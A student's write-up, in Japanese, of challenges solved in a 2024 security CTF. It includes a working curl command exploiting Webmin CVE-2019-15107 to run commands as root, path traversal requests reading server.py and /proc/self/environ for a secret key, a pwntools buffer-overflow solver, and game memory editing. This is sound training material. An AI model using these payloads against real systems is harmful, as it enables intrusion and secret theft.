はじめに
FFRI Security x NFLabs. Cybersecurity Challenge For Students 2024 に参加しました。
全体順位は10位でした。
振り返りとして、期間中に解けた問題のwriteupを書いていきます。
pentest
webadmin
問題文
新人のサーバ管理者がWebサーバを構築していたところ、
使っていたアプリケーションと設定に脆弱性があり、
サーバを攻撃者に乗っ取られてしまったようです。
セキュリティエンジニアのあなたは、サーバのコピーを作って
攻撃者がどのようにサーバを乗っ取ったか再現することにしました。
攻撃者の行動を再現してサーバのroot権限を取得し、
/root/root.txt の中に書いてあるフラグを答えてください。
IPアドレスが与えられるため、ひとまずポートスキャンを実行。
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 dc:57:3b:80:df:75:03:3f:c3:37:44:28:b1:69:cd:74 (RSA)
| 256 0b:15:07:a7:0e:0f:19:fb:ac:5b:02:e2:c6:b0:10:33 (ECDSA)
|_ 256 1f:28:53:f9:32:0e:a6:c0:75:ca:0b:c8:0c:45:c4:08 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.18.0 (Ubuntu)
10000/tcp open http MiniServ 1.920 (Webmin httpd)
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Login to Webmin
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
以上の結果から、22番(ssh)・80番(http)・10000番(http)が開いていることが分かったため、ブラウザで80番・10000番にアクセスしたが、10000番に認証ページがある以外に情報がないため、使われているバージョンに脆弱性がないか調べたところ、10000番のwebminにCVE-2019-15107(RCE脆弱性)があることが分かったためexploitDBを参考に cat /root/root.txt を実行することを考えます。
(参考:https://www.exploit-db.com/exploits/47293)
curl -ks $URI'/password_change.cgi' -d 'user=wheel&pam=&expired=2&old=id|cat /root/root.txt&new1=wheel&new2=wheel' -H 'Cookie: redirect=1; testing=1; sid=x; sessiontest=1;' -H "Content-Type: application/x-www-form-urlencoded" -H 'Referer: '$URI'/session_login.cgi' | grep "flag"
web
Path to Secret
問題文
脆弱性を特定し、サーバで用いられているSECRET_KEYの値を解答してください。
ヒント: サーバのファイル名はserver.pyです。
ダウンロードページが表示されるが、初めはダウンロードボタンが表示されず、ダウンロードができない。
registerページからtestユーザを登録し、ログインすることで5つのファイルをダウンロードすることができる。
burpsuitでリクエストを確認し、パストラバーサルでserver.pyの読み取りを試みる。
curl $URL'/download?file=../server.py' | grep SECRET_KEY
server.pyの以下の一行から
app.config["SECRET_KEY"] = os.environ.get("SECRET_KEY")
環境変数にSECRET_KEYがあるのが分かるので、先ほどと同様にパストラバーサルで /proc/self/environ ファイルを読み取る。
curl $URL'/download?file=../../../proc/self/environ' --output -
pwn
io tuotorial
問題文
同じクラスの友人がプログラミングの宿題を教えて欲しいと頼んできた。 作ったプログラムがたまに変な動きをしていて、原因がわからず困っているみたい。
「標準入出力を使ったプログラムで、習った通りちゃんと文字数のチェックもしてるからバッファオーバーフローもしないはずなのに!」とのこと。
原因を見つけてシェルを取って助けてあげよう!
たしか先生は変数の初期化を忘れちゃダメって言ってたような?
main.cより
1.greet():1~3の入力であいさつ文が変わる
2.readint():readn関数でバッファから二文字読みだしてsizeに格納
3.read():標準入力からsize分inputバッファに読み込み(input[0x100])
2の入力で通常二桁までのはずが、3桁まで入力でき、sizeに三桁の数字を格納できるため、バッファオーバーフローを起こし、リターンアドレスをwin関数のアドレスに書き換える。
(solver)
from pwn import *
host = "10.0.102.136"
port = "1234"
p = remote(host,port)
p.sendline(b"2")
win = p64(0x4012c7)
payload = b"999" + b"A"*280 + win
p.sendline(payload)
p.interactive()
(pythonコード書いてうまくいったの初めてなので個人的に一番解けてうれしかった問題)
misc
legend bird
問題文
伝説の鳥を捕まえろ!
unityで作られたゲーム。
上にいる人によると「きんのりんご」を99999個供えると「でんせつのとり」が現れるらしい。
いろいろググった結果Unity cheet enginというツールにたどり着いた。
りんごの取得数を管理するアドレスを特定する。
リンゴの取得数をもとにスキャンを開始し、ある程度取得した後に再度スキャンを繰り返すことで、アドレスを絞っていく。
3つに絞れたところで、これらのアドレスの数値を増やしてでんせつのとりを呼ぶことができた。
しかし、登場した場所が海に囲まれているため、でんせつのとりに近づけない。
次に、主人公の上下の座標(y座標?)を書き換えることを考える。
上に行くほど数値が高くなると予想し、上に動かしたとき数値が上昇しているアドレスや、しばらくたった後変化のないアドレスなどで絞っていく。
100程度まで絞れたら、アドレスの値を固定することで主人公が動かなくなるようなアドレスを特定し、そのアドレスの値を改ざんすることで鳥に話しかけることができる。